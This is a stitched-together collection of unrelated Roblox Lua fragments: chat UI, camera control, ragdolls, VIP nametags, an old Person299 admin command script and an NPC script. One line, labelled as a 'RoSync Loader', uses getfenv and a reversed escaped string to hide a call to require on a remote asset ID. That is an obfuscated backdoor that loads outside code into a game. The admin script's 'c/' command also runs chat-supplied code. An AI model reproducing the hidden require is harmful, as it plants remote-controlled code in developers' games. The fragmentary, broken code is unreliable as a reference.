local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match
local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10
local CHAT_BUBBLE_TAIL_HEIGHT = 14
local CHAT_BUBBLE_WIDTH_PADDING = 30
local CHAT_BUBBLE_PADDING = 12
local CHAT_BUBBLE_FADE_SPEED = 1.5
local BILLBOARD_MAX_WIDTH = 400
local BILLBOARD_MAX_HEIGHT = 250 --This limits the number of bubble chats that you see above characters
local ELIPSES = "..."
local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses.
local MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1
local NEAR_BUBBLE_DISTANCE = 65 --previously 45
local MAX_BUBBLE_DISTANCE = 100 --previously 80
|
--[=[
Calls each Object's `MethodName` (or calls the Object if `MethodName == true`) and removes them from the Janitor. Also clears the namespace.
This function is also called when you call a Janitor Object (so it can be used as a destructor callback).
```lua
Obliterator:Cleanup() -- Valid.
Obliterator() -- Also valid.
```
```ts
Obliterator.Cleanup()
```
]=]
|
function Janitor:Cleanup()
if not self.CurrentlyCleaning then
self.CurrentlyCleaning = nil
local Get = GetFenv(self)
local Object, MethodName = Get()
while Object and MethodName do -- changed to a while loop so that if you add to the janitor inside of a callback it doesn't get untracked (instead it will loop continuously which is a lot better than a hard to pindown edgecase)
if MethodName == true then
Object()
else
local ObjectMethod = Object[MethodName]
if ObjectMethod then
ObjectMethod(Object)
end
end
self[Object] = nil
Object, MethodName = Get()
end
local This = self[IndicesReference]
if This then
table.clear(This)
self[IndicesReference] = {}
end
self.CurrentlyCleaning = false
end
end
|
-- MISC VARIABLES --
|
local ragdollParts = script.RagdollParts
script.RagdollClient.Parent = StarterPlayer.StarterCharacterScripts
game.Players.PlayerAdded:Connect(function(player)
if not player.Character then
player.CharacterAdded:Connect(function(char)
if char:FindFirstChild("UpperTorso") then return end
local clones = {}
for i, v in pairs(ragdollParts:GetChildren()) do
clones[v.Name] = v:Clone()
end
for i, v in pairs(clones) do
if v:IsA("Attachment") then
v.Parent = char[v:GetAttribute("Parent")]
elseif v:IsA("BallSocketConstraint") then
v.Parent = char.Torso
v.Attachment0 = clones[v:GetAttribute("0")]
v.Attachment1 = clones[v:GetAttribute("1")]
else
v.Part0 = char.HumanoidRootPart
v.Part1 = char.Torso
v.Parent = char.HumanoidRootPart
end
end
end)
else
local char = player.Character
if char:FindFirstChild("UpperTorso") then return end
local clones = {}
for i, v in pairs(ragdollParts:GetChildren()) do
clones[v.Name] = v:Clone()
end
for i, v in pairs(clones) do
if v:IsA("Attachment") then
v.Parent = char[v:GetAttribute("Parent")]
elseif v:IsA("BallSocketConstraint") then
v.Parent = char.Torso
v.Attachment0 = clones[v:GetAttribute("0")]
v.Attachment1 = clones[v:GetAttribute("1")]
else
v.Part0 = char.HumanoidRootPart
v.Part1 = char.Torso
v.Parent = char.HumanoidRootPart
end
end
end
end)
CS:GetInstanceAddedSignal("Ragdoll"):Connect(function(v)
if v:IsA("Model") then
ragdollBuilder:Ragdoll(v)
end
end)
CS:GetInstanceRemovedSignal("Ragdoll"):Connect(function(v)
if v:IsA("Model") then
ragdollBuilder:Unragdoll(v)
end
end)
|
--[=[
Promises the resulting asset is inserted from insert service, or a rejection
@param assetId number
@return Promise<Instance>
]=]
|
function InsertServiceUtils.promiseAsset(assetId)
assert(type(assetId) == "number", "Bad assetId")
if assetId == 0 then
return Promise.rejected()
end
return Promise.spawn(function(resolve, reject)
local result
local ok, err = pcall(function()
result = InsertService:LoadAsset(assetId)
end)
if not ok then
return reject(err)
end
if typeof(result) ~= "Instance" then
return reject("Result was not an instance")
end
resolve(result)
end)
end
return InsertServiceUtils
|
-- PARENT
|
local localPlayer = game:GetService("Players").LocalPlayer
local playerGui = localPlayer.PlayerGui
topbarPlusGui.Parent = playerGui
return topbarPlusGui
|
-- services
|
local run = game:GetService("RunService")
|
--local Player = References.LocalPlayer
|
local Animate = {}
|
--Services
|
local Players = game:GetService("Players")
local MarketplaceService = game:GetService("MarketplaceService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local NameTag = ReplicatedStorage.NameGUI
local ServerStorage = game:GetService("ServerStorage")
local Configurations = require(ServerStorage.Configurations)
local GamepassID = Configurations.GamePassIds.VIP
local function onPlayerAdded(player: Player)
player.CharacterAppearanceLoaded:Connect(function(character)
local Head = character.Head or character:WaitForChild("Head")
local success, result = pcall(function()
return MarketplaceService:UserOwnsGamePassAsync(player.UserId, GamepassID)
end)
if success then
if result then
local nameClone = NameTag:Clone()
nameClone.name.Text = "VIP"
nameClone.Adornee = character.Head
nameClone.Parent = character.Head
nameClone.name.Font = Enum.Font.GothamSemibold
nameClone.name.TextColor3 = Color3.new(1, 1, 0)
nameClone.name.TextSize = 16
local humanoid: Humanoid = character:WaitForChild("Humanoid")
humanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
end
end
local s, r = pcall(function()
return player.MembershipType == Enum.MembershipType.Premium
end)
if s then
if r then
local nameClone = NameTag:Clone()
nameClone.name.Text = "Premium"
nameClone.Adornee = character.Head
nameClone.Parent = character.Head
nameClone.name.Font = Enum.Font.GothamSemibold
nameClone.name.TextColor3 = Color3.new(1, 1, 1)
nameClone.name.TextSize = 16
local humanoid: Humanoid = character:WaitForChild("Humanoid")
humanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
end
end
end)
end
Players.PlayerAdded:Connect(onPlayerAdded)
|
----- Bonus credit to BuildIntoGames if you try to steal this and remove the credits at the top, you shady n00b
| |
--print("AF:",AF)
|
Spawn(function()
for j, v in pairs(i) do
wait(v[3] and v[3] or 0)
for k = 1, v[2] do
for m, n in pairs(Parts:GetChildren()) do
if n.Name == l then
|
--[[
I update this command script alot, so if you want to get the newest version of the script, go to http://www.roblox.com/Item.aspx?ID=5277383 every once in a while.
If theres anything you think this command script needs, just message me (Person299) and i might put it in. :)
And also, if you find any bugs, report them to me.
The commands are,
commands
Shows a list of all the commands
fix
If the command script breaks for you, say this to fix it --also if your not in edit/build mode and you dont no the commands say commands also you can say bannedlist to show the banned and adminlist to show the admins!!!
kill/Person299
kills Person299
loopkill/Person299
Repeatedly kills Person299 when he respawns
unloopkill/Person299
Undos loopkill/
heal/Person299
Returns Person299 to full health
damage/Person299/50
Makes Person299's character take 50 damage
health/Person299/999999
Makes Person299's MaxHealth and Health 999999
kick/Person299
Removes Person299 from the game, cannot be used by admin/ed people
ban/Person299
Removes Person299 from the game and keeps him from reenterring, cannot be used by admin/ed people
bannedlist
Shows a list of everyone banned
unban/Person299
Unbans Person299
explode/Person299
Explodes Person299's character
rocket/Person299
Straps a rocket onto Person299's back
removetools/Person299
Removes all of Person299's tools.
givetools/Person299
Gives Person299 all the tools in StarterPack
givebtools/Person299
Gives Person299 the building tools
sit/Person299
Makes Person299 sit
part/4/1/2
Makes a part with the given dimensions appear over your character
respawn/Person299
Makes Person299's character respawn
jail/Person299
Makes a lil jail cell around Person299's character
unjail/Person299
Undos jail/
punish/Person299
Puts Person299's character in game.Lighting
unpunish/Person299
Undos punish/
merge/Person299/Farvei
Makes Person299 control Farvei's character
teleport/Person299/nccvoyager
Teleports Person299's character to nccvoyager's character
control/Person299
Makes you control Person299's character
change/Person299/Money/999999
Makes the Money value in Person299's leaderstats 999999
tools
Gives you a list of all the tools available to be give/en, the tool must be in game.Lighting
give/Person299/Tool
Give's Person299 a tool, the toolname can be abbreviated
time/15.30
Makes game.Lighting.TimeOfDay 15:30
ambient/255/0/0
Makes game.Lighting.Ambient 255,0,0
maxplayers/20
Makes game.Players.MaxPlayers 20
nograv/Person299
Makes Person299 almost weightless
antigrav/Person299
Gives Person299 antigravity properties
grav/Person299
Returns Person299's gravity to normal
highgrav/Person299
Makes Person299 heavier
setgrav/Person299/-196
Sets Person299's gravity
trip/Person299
Makes Person299's character trip
walkspeed/Person299/99
Makes Person299's character's humanoid's WalkSpeed 99, 16 is average
invisible/Person299
Makes Person299's character invisible
visible/Person299
Undos invisible/
freeze/Person299
Makes Person299's character unable to move
thaw/Person299
Undos freeze/
unlock/Person299
Makes Person299's character unlocked
lock/Person299
Makes Person299's character locked
ff/Person299
Gives Person299's character a ForceField
unff/Person299
Undos ff/
sparkles/Person299
Makes Person299's character sparkly
unsparkles/Person299
Undos sparkles/
shield/Person299
Makes a destructive shield thingy appear around Person299
unshield/Person299
Undos shield/
god/Person299
Makes Person299 godish
ungod/Person299
Undos god/
zombify/Person299
Makes Person299 a infecting zombie
admin/Person299
Makes Person299 able to use the command script, cannot be used by admin/ed people
adminlist
Shows a list of everyone in the adminlist
unadmin/Person299
Undos admin/, cannot be used by admin/ed people
shutdown
Shuts the server down, cannot be used by admin/ed people
m/Fallout 2 is one of the best games ever made
Makes a message appear on the screen saying "Fallout 2 is one of the best games ever made" for 2 seconds
h/i like pie
Makes a hint appear on the screen saying "i like pie" for 2 seconds
c/ game.Workspace:remove()
Makes a script which source is whats after c/
clear
Removes all scripts created by c/ and removes all jails.
Capitalisation doesnt matter, and name input can be abbreviated.
Just about any name input can be replaced with multiple names seperated by ","s, me, all, others, guests, admins, nonadmins, random, or team teamname.
--]]
|
namelist = { }
variablelist = { }
flist = { }
local source = script:FindFirstChild("source")
if source ~= nil then
sbbu = script.source:clone()
sbbu.Disabled = false
else
print("source doesnt exist, your command script may malfunction")
end
tools = Instance.new("Model")
c = game.Lighting:GetChildren()
for i=1,#c do
if c[i].className == "Tool" then
c[i]:clone().Parent = tools
end
if c[i].className == "HopperBin" then
c[i]:clone().Parent = tools
end end
function findplayer(name,speaker)
if string.lower(name) == "all" then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
table.insert(chars,c[i])
end end
return chars
elseif string.sub(string.lower(name),1,9) == "nonadmins" then
local nnum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
local isadmin = false
for i2 =1,#namelist do
if namelist[i2] == c[i].Name then
isadmin = true
end end
if isadmin == false then
nnum = nnum + 1
table.insert(chars,c[i])
end end
if nnum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,6) == "admins" then
local anum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
for i2 =1,#namelist do
if namelist[i2] == c[i].Name then
anum = anum + 1
table.insert(chars,c[i])
end end end
if anum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,6) == "random" then
while true do
local c = game.Players:GetChildren()
local r = math.random(1,#c)
if c[r].className == "Player" then
return { c[r] }
end end
elseif string.sub(string.lower(name),1,6) == "guests" then
local gnum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
if string.sub(c[i].Name,1,5) == "Guest" then
gnum = gnum + 1
table.insert(chars,c[i])
end end
if gnum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,5) == "team " then
local theteam = nil
local tnum = 0
if game.Teams ~= nil then
local c = game.Teams:GetChildren()
for i =1,#c do
if c[i].className == "Team" then
if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1 then
theteam = c[i]
tnum = tnum + 1
end end end
if tnum == 1 then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if c[i].TeamColor == theteam.TeamColor then
table.insert(chars,c[i])
end end end
return chars
end end
return 0
elseif string.lower(name) == "me" then
local person299 = { speaker }
return person299
elseif string.lower(name) == "others" then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if c[i] ~= speaker then
table.insert(chars,c[i])
end end end
return chars
else
local chars = { }
local commalist = { }
local ssn = 0
local lownum = 1
local highestnum = 1
local foundone = false
while true do
ssn = ssn + 1
if string.sub(name,ssn,ssn) == "" then
table.insert(commalist,lownum)
table.insert(commalist,ssn - 1)
highestnum = ssn - 1
break
end
if string.sub(name,ssn,ssn) == "," then
foundone = true
table.insert(commalist,lownum)
table.insert(commalist,ssn)
lownum = ssn + 1
end end
if foundone == true then
for ack=1,#commalist,2 do
local cnum = 0
local char = nil
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if string.find(string.lower(c[i].Name),string.sub(string.lower(name),commalist[ack],commalist[ack + 1] - 1)) == 1 then
char = c[i]
cnum = cnum + 1
end end end
if cnum == 1 then
table.insert(chars,char)
end end
if #chars ~= 0 then
return chars
else
return 0
end
else
local cnum = 0
local char = nil
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if string.find(string.lower(c[i].Name),string.lower(name)) == 1 then
char = {c[i]}
cnum = cnum + 1
end end end
if cnum == 1 then
return char
elseif cnum == 0 then
text("That name is not found.",1,"Message",speaker)
return 0
elseif cnum > 1 then
text("That name is ambiguous.",1,"Message",speaker)
return 0
end end end end -- I really like the way the ends look when they're all on the same line better, dont you?
function createscript(source,par)
local a = sbbu:clone()
local context = Instance.new("StringValue")
context.Name = "Context"
context.Value = source
context.Parent = a
while context.Value ~= source do wait() end
a.Parent = par
local b = Instance.new("IntValue")
b.Name = "Is A Created Script"
b.Parent = a
end
function text(message,duration,type,object)
local m = Instance.new(type)
m.Text = message
m.Parent = object
wait(duration)
if m.Parent ~= nil then
m:remove()
end end
function foc(msg,speaker)
if string.lower(msg) == "fix" then
for i =1,#namelist do
if namelist[i] == speaker.Name then
variablelist[i]:disconnect()
table.remove(variablelist,i)
table.remove(namelist,i)
table.remove(flist,i)
end end
local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end)
table.insert(namelist,speaker.Name)
table.insert(variablelist,tfv)
local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end)
table.insert(flist,tfv)
end end
function PERSON299(name)
for i =1,#adminlist do
if adminlist[i] == name then
return true
end end
return false
end
function oc(msg,speaker)
if string.sub(string.lower(msg),1,5) == "kill/" then--This part checks if the first part of the message is kill/
local player = findplayer(string.sub(msg,6),speaker)--This part refers to the findplayer function for a list of people associated with the input after kill/
if player ~= 0 then--This part makes sure that the findplayer function found someone, as it returns 0 when it hasnt
for i = 1,#player do--This part makes a loop, each different loop going through each player findplayer returned
if player[i].Character ~= nil then--This part makes sure that the loop's current player's character exists
local human = player[i].Character:FindFirstChild("Humanoid")--This part looks for the Humanoid in the character
if human ~= nil then--This part makes sure the line above found a humanoid
human.Health = 0--This part makes the humanoid's health 0
end end end end end--This line contains the ends for all the if statements and the for loop
if string.sub(string.lower(msg),1,2) == "m/" then
text(speaker.Name .. ": " .. string.sub(msg,3),2,"Message",game.Workspace)
end
if string.sub(string.lower(msg),1,2) == "h/" then
text(speaker.Name .. ": " .. string.sub(msg,3),2,"Hint",game.Workspace)
end
if string.sub(string.lower(msg),1,2) == "c/" then--Dontcha wish pcall was more reliable?
createscript(string.sub(msg,3),game.Workspace)
end
local msg = string.lower(msg)
if string.sub(msg,1,5) == "give/" then
local danumber1 = nil
for i = 6,100 do
if string.sub(msg,i,i) == "/" then
danumber1 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber1 == nil then return end
local it = nil
local all = true
if string.sub(string.lower(msg),danumber1 + 1,danumber1 + 4) ~= "all" then
all = false
local itnum = 0
local c = tools:GetChildren()
for i2 = 1,#c do
if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1)) == 1 then
it = c[i2]
itnum = itnum + 1
end end
if itnum ~= 1 then return end
else
all = true
end
local player = findplayer(string.sub(msg,6,danumber1 - 1),speaker)
if player ~= 0 then
for i = 1,#player do
local bp = player[i]:FindFirstChild("Backpack")
if bp ~= nil then
if all == false then
it:clone().Parent = bp
else
local c = tools:GetChildren()
for i2 = 1,#c do
c[i2]:clone().Parent = bp
end end end end end end
|
-- The distance above the area-defining part that counts as part of the area
|
Security.AreaHeight = 500;
|
--[[
Tool.GripForward = Vector3.new(0,-1,0)
Tool.GripPos = Vector3.new(0,0,2)
Tool.GripRight = Vector3.new(1,0,0)
Tool.GripUp = Vector3.new(0,0,-1)
]]
|
--
enabled = true
end
script.Parent.Activated:connect(onActivated)
|
--[[ Last synced 5/29/2021 06:10 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- Listener for changes to workspace.CurrentCamera
|
function BaseCamera:OnCurrentCameraChanged()
if UserInputService.TouchEnabled then
if self.viewportSizeChangedConn then
self.viewportSizeChangedConn:Disconnect()
self.viewportSizeChangedConn = nil
end
local newCamera = game.Workspace.CurrentCamera
if newCamera then
self:OnViewportSizeChanged()
self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
self:OnViewportSizeChanged()
end)
end
end
-- VR support additions
if self.cameraSubjectChangedConn then
self.cameraSubjectChangedConn:Disconnect()
self.cameraSubjectChangedConn = nil
end
local camera = game.Workspace.CurrentCamera
if camera then
self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function()
self:OnNewCameraSubject()
end)
self:OnNewCameraSubject()
end
end
function BaseCamera:OnDynamicThumbstickEnabled()
if UserInputService.TouchEnabled then
self.isDynamicThumbstickEnabled = true
end
end
function BaseCamera:OnDynamicThumbstickDisabled()
self.isDynamicThumbstickEnabled = false
end
function BaseCamera:OnGameSettingsTouchMovementModeChanged()
if player.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
if (UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.DynamicThumbstick
or UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.Default) then
self:OnDynamicThumbstickEnabled()
else
self:OnDynamicThumbstickDisabled()
end
end
end
function BaseCamera:OnDevTouchMovementModeChanged()
if player.DevTouchMovementMode.Name == "DynamicThumbstick" then
self:OnDynamicThumbstickEnabled()
else
self:OnGameSettingsTouchMovementModeChanged()
end
end
function BaseCamera:OnPlayerCameraPropertyChange()
-- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed
self:SetCameraToSubjectDistance(self.currentSubjectDistance)
end
function BaseCamera:GetCameraHeight()
if VRService.VREnabled and not self.inFirstPerson then
return math.sin(VR_ANGLE) * self.currentSubjectDistance
end
return 0
end
function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity)
return translationVector * sensitivity
end
function BaseCamera:Enable(enable)
if self.enabled ~= enable then
self.enabled = enable
if self.enabled then
self:ConnectInputEvents()
self:BindContextActions()
if player.CameraMode == Enum.CameraMode.LockFirstPerson then
self.currentSubjectDistance = 0.5
if not self.inFirstPerson then
self:EnterFirstPerson()
end
end
else
self:DisconnectInputEvents()
self:UnbindContextActions()
-- Clean up additional event listeners and reset a bunch of properties
self:Cleanup()
end
end
end
function BaseCamera:GetEnabled()
return self.enabled
end
function BaseCamera:OnInputBegan(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchBegan(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
self:OnMouse2Down(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
self:OnMouse3Down(input, processed)
end
end
function BaseCamera:OnInputChanged(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchChanged(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseMovement then
self:OnMouseMoved(input, processed)
end
end
function BaseCamera:OnInputEnded(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchEnded(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
self:OnMouse2Up(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
self:OnMouse3Up(input, processed)
end
end
function BaseCamera:OnPointerAction(wheel, pan, pinch, processed)
if processed then
return
end
if pan.Magnitude > 0 then
local inversionVector = Vector2.new(1, UserGameSettings:GetCameraYInvertValue())
local rotateDelta = self:InputTranslationToCameraAngleChange(PAN_SENSITIVITY*pan, MOUSE_SENSITIVITY)*inversionVector
self.rotateInput = self.rotateInput + rotateDelta
end
local zoom = self.currentSubjectDistance
local zoomDelta = -(wheel + pinch)
if abs(zoomDelta) > 0 then
local newZoom
if self.inFirstPerson and zoomDelta > 0 then
newZoom = FIRST_PERSON_DISTANCE_THRESHOLD
else
if FFlagUserFixZoomInZoomOutDiscrepancy then
if (zoomDelta > 0) then
newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE)
else
newZoom = (zoom + zoomDelta) / (1 - zoomDelta*ZOOM_SENSITIVITY_CURVATURE)
end
else
newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE)
end
end
self:SetCameraToSubjectDistance(newZoom)
end
end
function BaseCamera:ConnectInputEvents()
self.pointerActionConn = UserInputService.PointerAction:Connect(function(wheel, pan, pinch, processed)
self:OnPointerAction(wheel, pan, pinch, processed)
end)
self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed)
self:OnInputBegan(input, processed)
end)
self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed)
self:OnInputChanged(input, processed)
end)
self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed)
self:OnInputEnded(input, processed)
end)
self.menuOpenedConn = GuiService.MenuOpened:connect(function()
self:ResetInputStates()
end)
self.gamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
if self.activeGamepad ~= gamepadEnum then return end
self.activeGamepad = nil
self:AssignActivateGamepad()
end)
self.gamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum)
if self.activeGamepad == nil then
self:AssignActivateGamepad()
end
end)
self:AssignActivateGamepad()
if not FFlagUserCameraToggle then
self:UpdateMouseBehavior()
end
end
function BaseCamera:BindContextActions()
self:BindGamepadInputActions()
self:BindKeyboardInputActions()
end
function BaseCamera:AssignActivateGamepad()
local connectedGamepads = UserInputService:GetConnectedGamepads()
if #connectedGamepads > 0 then
for i = 1, #connectedGamepads do
if self.activeGamepad == nil then
self.activeGamepad = connectedGamepads[i]
elseif connectedGamepads[i].Value < self.activeGamepad.Value then
self.activeGamepad = connectedGamepads[i]
end
end
end
if self.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1
self.activeGamepad = Enum.UserInputType.Gamepad1
end
end
function BaseCamera:DisconnectInputEvents()
if self.inputBeganConn then
self.inputBeganConn:Disconnect()
self.inputBeganConn = nil
end
if self.inputChangedConn then
self.inputChangedConn:Disconnect()
self.inputChangedConn = nil
end
if self.inputEndedConn then
self.inputEndedConn:Disconnect()
self.inputEndedConn = nil
end
end
function BaseCamera:UnbindContextActions()
for i = 1, #self.boundContextActions do
ContextActionService:UnbindAction(self.boundContextActions[i])
end
self.boundContextActions = {}
end
function BaseCamera:Cleanup()
if self.pointerActionConn then
self.pointerActionConn:Disconnect()
self.pointerActionConn = nil
end
if self.menuOpenedConn then
self.menuOpenedConn:Disconnect()
self.menuOpenedConn = nil
end
if self.mouseLockToggleConn then
self.mouseLockToggleConn:Disconnect()
self.mouseLockToggleConn = nil
end
if self.gamepadConnectedConn then
self.gamepadConnectedConn:Disconnect()
self.gamepadConnectedConn = nil
end
if self.gamepadDisconnectedConn then
self.gamepadDisconnectedConn:Disconnect()
self.gamepadDisconnectedConn = nil
end
if self.subjectStateChangedConn then
self.subjectStateChangedConn:Disconnect()
self.subjectStateChangedConn = nil
end
if self.viewportSizeChangedConn then
self.viewportSizeChangedConn:Disconnect()
self.viewportSizeChangedConn = nil
end
if self.touchActivateConn then
self.touchActivateConn:Disconnect()
self.touchActivateConn = nil
end
self.turningLeft = false
self.turningRight = false
self.lastCameraTransform = nil
self.lastSubjectCFrame = nil
self.userPanningTheCamera = false
self.rotateInput = Vector2.new()
self.gamepadPanningCamera = Vector2.new(0,0)
-- Reset input states
self.startPos = nil
self.lastPos = nil
self.panBeginLook = nil
self.isRightMouseDown = false
self.isMiddleMouseDown = false
self.fingerTouches = {}
self.dynamicTouchInput = nil
self.numUnsunkTouches = 0
self.startingDiff = nil
self.pinchBeginZoom = nil
-- Unlock mouse for example if right mouse button was being held down
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
|
--[=[
Overwrites an existing table with the source values.
@param target table -- Table to overwite
@param source table -- Source table to read from
@return table -- target
]=]
|
function Table.overwrite(target, source)
for index, item in pairs(source) do
target[index] = item
end
return target
end
|
--////////////////////////////////////////////////////////////////////////////////////////////
--///////////// Code to talk to topbar and maintain set/get core backwards compatibility stuff
--////////////////////////////////////////////////////////////////////////////////////////////
|
local Util = {}
do
function Util.Signal()
local sig = {}
local mSignaler = Instance.new('BindableEvent')
local mArgData = nil
local mArgDataCount = nil
function sig:fire(...)
mArgData = {...}
mArgDataCount = select('#', ...)
mSignaler:Fire()
end
function sig:connect(f)
if not f then error("connect(nil)", 2) end
return mSignaler.Event:connect(function()
f(unpack(mArgData, 1, mArgDataCount))
end)
end
function sig:Wait()
mSignaler.Event:Wait()
assert(mArgData, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.")
return unpack(mArgData, 1, mArgDataCount)
end
return sig
end
end
function SetVisibility(val)
ChatWindow:SetVisible(val)
moduleApiTable.VisibilityStateChanged:fire(val)
moduleApiTable.Visible = val
if (moduleApiTable.IsCoreGuiEnabled) then
if (val) then
InstantFadeIn()
else
InstantFadeOut()
end
end
end
do
moduleApiTable.TopbarEnabled = true
moduleApiTable.MessageCount = 0
moduleApiTable.Visible = true
moduleApiTable.IsCoreGuiEnabled = true
function moduleApiTable:ToggleVisibility()
SetVisibility(not ChatWindow:GetVisible())
end
function moduleApiTable:SetVisible(visible)
if (ChatWindow:GetVisible() ~= visible) then
SetVisibility(visible)
end
end
function moduleApiTable:FocusChatBar()
ChatBar:CaptureFocus()
end
function moduleApiTable:GetVisibility()
return ChatWindow:GetVisible()
end
function moduleApiTable:GetMessageCount()
return self.MessageCount
end
function moduleApiTable:TopbarEnabledChanged(enabled)
self.TopbarEnabled = enabled
self.CoreGuiEnabled:fire(game:GetService("StarterGui"):GetCoreGuiEnabled(Enum.CoreGuiType.Chat))
end
function moduleApiTable:IsFocused(useWasFocused)
return ChatBar:IsFocused()
end
moduleApiTable.ChatBarFocusChanged = Util.Signal()
moduleApiTable.VisibilityStateChanged = Util.Signal()
moduleApiTable.MessagesChanged = Util.Signal()
moduleApiTable.MessagePosted = Util.Signal()
moduleApiTable.CoreGuiEnabled = Util.Signal()
moduleApiTable.ChatMakeSystemMessageEvent = Util.Signal()
moduleApiTable.ChatWindowPositionEvent = Util.Signal()
moduleApiTable.ChatWindowSizeEvent = Util.Signal()
moduleApiTable.ChatBarDisabledEvent = Util.Signal()
function moduleApiTable:fChatWindowPosition()
return ChatWindow.GuiObject.Position
end
function moduleApiTable:fChatWindowSize()
return ChatWindow.GuiObject.Size
end
function moduleApiTable:fChatBarDisabled()
return not ChatBar:GetEnabled()
end
function moduleApiTable:SpecialKeyPressed(key, modifiers)
if (key == Enum.SpecialKey.ChatHotkey) then
if canChat then
DoChatBarFocus()
end
end
end
end
moduleApiTable.CoreGuiEnabled:connect(function(enabled)
moduleApiTable.IsCoreGuiEnabled = enabled
enabled = enabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff)
ChatWindow:SetCoreGuiEnabled(enabled)
if (not enabled) then
ChatBar:ReleaseFocus()
InstantFadeOut()
else
InstantFadeIn()
end
end)
function trimTrailingSpaces(str)
local lastSpace = #str
while lastSpace > 0 do
--- The pattern ^%s matches whitespace at the start of the string. (Starting from lastSpace)
if str:find("^%s", lastSpace) then
lastSpace = lastSpace - 1
else
break
end
end
return str:sub(1, lastSpace)
end
moduleApiTable.ChatMakeSystemMessageEvent:connect(function(valueTable)
if (valueTable["Text"] and type(valueTable["Text"]) == "string") then
while (not DidFirstChannelsLoads) do wait() end
local channel = ChatSettings.GeneralChannelName
local channelObj = ChatWindow:GetChannel(channel)
if (channelObj) then
local messageObject = {
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = channel,
IsFiltered = true,
MessageLength = string.len(valueTable.Text),
Message = trimTrailingSpaces(valueTable.Text),
MessageType = ChatConstants.MessageTypeSetCore,
Time = os.time(),
ExtraData = valueTable,
}
channelObj:AddMessageToChannel(messageObject)
ChannelsBar:UpdateMessagePostedInChannel(channel)
moduleApiTable.MessageCount = moduleApiTable.MessageCount + 1
moduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)
end
end
end)
moduleApiTable.ChatBarDisabledEvent:connect(function(disabled)
if canChat then
ChatBar:SetEnabled(not disabled)
if (disabled) then
ChatBar:ReleaseFocus()
end
end
end)
moduleApiTable.ChatWindowSizeEvent:connect(function(size)
ChatWindow.GuiObject.Size = size
end)
moduleApiTable.ChatWindowPositionEvent:connect(function(position)
ChatWindow.GuiObject.Position = position
end)
|
-- EVENTS
|
IconController.iconAdded = Signal.new()
IconController.iconRemoved = Signal.new()
IconController.controllerModeStarted = Signal.new()
IconController.controllerModeEnded = Signal.new()
|
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]]
|
--
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
